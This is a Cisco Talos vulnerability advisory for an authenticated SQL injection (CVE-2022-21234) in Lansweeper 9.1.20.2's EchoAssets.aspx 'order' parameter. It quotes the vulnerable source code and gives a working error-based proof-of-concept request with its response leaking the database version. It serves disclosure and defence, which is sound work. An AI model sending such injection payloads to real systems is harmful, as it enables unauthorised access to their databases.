Talos Vulnerability Report

TALOS-2022-1443

Lansweeper lansweeper EchoAssets.aspx SQL injection vulnerability

FEBRUARY 28, 2022

CVE NUMBER

CVE-2022-21234

Summary

An SQL injection vulnerability exists in the EchoAssets.aspx functionality of Lansweeper lansweeper 9.1.20.2. A specially crafted HTTP request can cause SQL injection. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lansweeper lansweeper 9.1.20.2

Product URLs

lansweeper - https://www.lansweeper.com/

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Details

Lansweeper is an IT Asset Management solution that gathers hardware and software information of computers and other devices on a computer network for management and compliance and audit purposes.

An exploitable SQL Injection vulnerability is related to an `order` parameter passed to : `/Scanning/Echo/EchoAssets.aspx` script. Let us take a close look at the vulnerable source code :

```
LS\DAL\LsAgentRepository.cs

Line 15 public DataTable GetAssetsByGroupId(Guid groupId, int sort = 1, string order
= "ASC", int page = 1)
Line 16 {
Line 17         if (sort < 1 || sort > 7)
Line 18         {
Line 19                 sort = 1;
Line 20         }
Line 21         if (page < 1)
Line 22         {
Line 23                 page = 1;
Line 24         }
Line 25         string[] array = new string[6] { "tblLsAgentAsset.Status", "CASE
WHEN tblAssets.AssetName IS NULL THEN tblLsAgentAsset.ComputerUnique ELSE
tblAssets.AssetName END", "tblAssets.IPNumeric", "tblAssets.LastLsAgent",
"tblAssets.LsAgentVersion", "tblAssets.AssetType" };
Line 26         return DB.ExecuteDataset("SELECT tblLsAgentAsset.LsAgentAssetID,
tblLsAgentAsset.AssetID, tblAssets.IPAddress, tblLsAgentAsset.Status,
tblAssets.AssetType, tblLsAgentAsset.LastChanged, tblAssets.LastLsAgent,
tblAssets.LsAgentVersion,  \r\n
CASE WHEN tblAssets.AssetName IS NULL THEN tblLsAgentAsset.ComputerUnique ELSE
tblAssets.AssetName END AS AssetName\r\n
FROM tblLsAgentAsset\r\n                                                    LEFT
JOIN tblAssets on tblAssets.AssetID = tblLsAgentAsset.AssetID\r\n
WHERE [LsAgentGroupID] = @groupid AND tblLsAgentAsset.Status <> @deletedState ORDER
BY " + array[sort - 1] + " " + order, (page - 1) * 100, page * 100,
DB.NewDBParameter("@groupid", groupId), DB.NewDBParameter("@deletedState", 2));
Line 27 }
```

`order` parameter is provided by the user and is not sanitized at all. In `line 26` we can notice that `order` is concatenated with the SQL query string in a regular way which leads to SQL injection. To trigger this vulnerability an attacker must be authenticated and have proper permissions.

Exploit Proof of Concept

ERROR-BASED SQLi

REQUEST

```
GET /Scanning/Echo/EchoAssets.aspx?groupid=920a3ae8-9a6a-4675-bca8-
6f8708400cdb&order=ASC%3bSELECT%20convert(int%2c%40%40version) HTTP/1.1
Host: 192.168.0.102:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101
Firefox/95.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UserSettings=language=1; custauth=username=hacker&userdomain=;
ASP.NET_SessionId=urnwlqmv1l5lmopoadrtppoe;
__RequestVerificationToken_Lw__=murmHbbVXPpH1R3EJDgF1WQsZis+Gb6CAsLBYb/j9OSuLM7CD40h
4xXqxvCgfuqmOaBtpmsC0k3x3MkQjRQ3HxsbCX8IuNomvCcIQQGKG+90p/DAA6+KM/DvgT9TnlopUM7bszIz
CpwDZIsFkAQ7pGzCBKJjAHA4rfFqh3KhEaY=
Upgrade-Insecure-Requests: 1
```

RESPONSE

```
HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
x-frame-options: SAMEORIGIN
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 06 Jan 2022 22:54:39 GMT
Connection: close
Content-Length: 2264

(...)
<div style="background-color: #FFFFE1; padding: 15px; border-radius: 6px; margin-
top: 20px; min-height: 75px;"><b>Technical details:</b><br style="margin-bottom:
10px;"/><img src="/images/bug.png" style="float: left;margin-right:4px;"
/>Conversion failed when converting the nvarchar value &#39;Microsoft SQL Server
2014 (SP3) (KB4022619) - 12.0.6024.0 (X64)
    Sep  7 2018 01:37:51
    Copyright (c) Microsoft Corporation
    Express Edition (64-bit) on Windows NT 6.3 &lt;X64&gt; (Build 19043: )
(Hypervisor)
&#39; to data type int.</div>
```

Timeline

2022-01-11 - Vendor disclosure

2022-02-21 - Vendor patched

2022-02-28 - Public Release

CREDIT

Discovered by Marcin "Icewall" Noga of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2022-1444

NEXT REPORT

TALOS-2022-1442